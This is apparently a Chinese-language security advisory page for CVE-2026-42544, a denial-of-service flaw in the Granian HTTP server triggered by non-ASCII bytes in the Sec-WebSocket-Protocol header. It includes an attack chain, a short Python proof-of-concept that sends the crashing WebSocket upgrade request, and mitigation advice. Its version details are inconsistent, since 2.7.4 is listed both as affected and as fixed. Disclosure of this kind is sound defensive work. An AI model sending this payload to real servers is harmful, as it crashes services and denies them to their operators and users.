IPBUF安全漏洞报告
English
CVE-2026-42544 CVSS 7.5 高危

CVE-2026-42544 Granian拒绝服务漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42544
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Granian

相关标签

拒绝服务DoSGranianWebSocketRustCVE-2026-42544

漏洞概述

Granian是一款用于Python应用程序的Rust HTTP服务器。在1.2.0至2.7.4版本中,存在一个拒绝服务漏洞。未经身份验证的攻击者可发送WebSocket升级请求,若其Sec-WebSocket-Protocol头部包含非ASCII字节,会导致Granian在WebSocket作用域构造路径中崩溃并中止工作进程。该崩溃发生在调用ASGI应用程序之前,应用层无法拦截。该问题已在2.7.4版本中修复。

技术细节

该漏洞的根源在于Granian在处理WebSocket握手请求时,对Sec-WebSocket-Protocol头部字段的输入验证逻辑存在缺陷。当服务器接收到一个HTTP升级请求时,会尝试解析该头部以确定子协议。如果该字段包含非ASCII字符(例如大于0x7F的字节),底层Rust代码在构建WebSocket作用域时可能触发未处理的异常或断言失败,导致Worker进程直接终止。由于攻击无需认证(PR:N)且可通过网络触发(AV:N),远程攻击者可以通过发送简单的恶意数据包反复使服务崩溃,从而造成严重的拒绝服务状态。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在使用Granian作为Python应用的HTTP服务器。
STEP 2
构造恶意包
攻击者编写脚本,生成一个HTTP WebSocket升级请求,并在Sec-WebSocket-Protocol头部字段中插入非ASCII字节(如0xFF)。
STEP 3
发送请求
攻击者将特制的请求包发送到目标服务器的监听端口。
STEP 4
触发崩溃
Granian服务器解析到非法头部字节,在WebSocket作用域构造阶段触发异常,导致Worker进程崩溃。
STEP 5
拒绝服务
由于Worker进程中止,服务器无法处理后续的正常请求,导致服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration host = "127.0.0.1" port = 8000 # Malicious payload containing non-ASCII bytes (\xff) in Sec-WebSocket-Protocol payload = ( "GET / HTTP/1.1\r\n" f"Host: {host}\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" "Sec-WebSocket-Version: 13\r\n" "Sec-WebSocket-Protocol: chat, \xff\xfe\r\n" # Injecting non-ASCII bytes "\r\n" ) # Send the malicious request try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode('utf-8')) print("[+] Malicious payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")

影响范围

Granian 1.2.0
Granian 2.7.4

防御指南

临时缓解措施
如果无法立即升级,建议在前端反向代理(如Nginx)或Web应用防火墙(WAF)上部署规则,检测并丢弃包含非ASCII字符的Sec-WebSocket-Protocol头部的请求,以防止恶意流量直达后端Granian服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表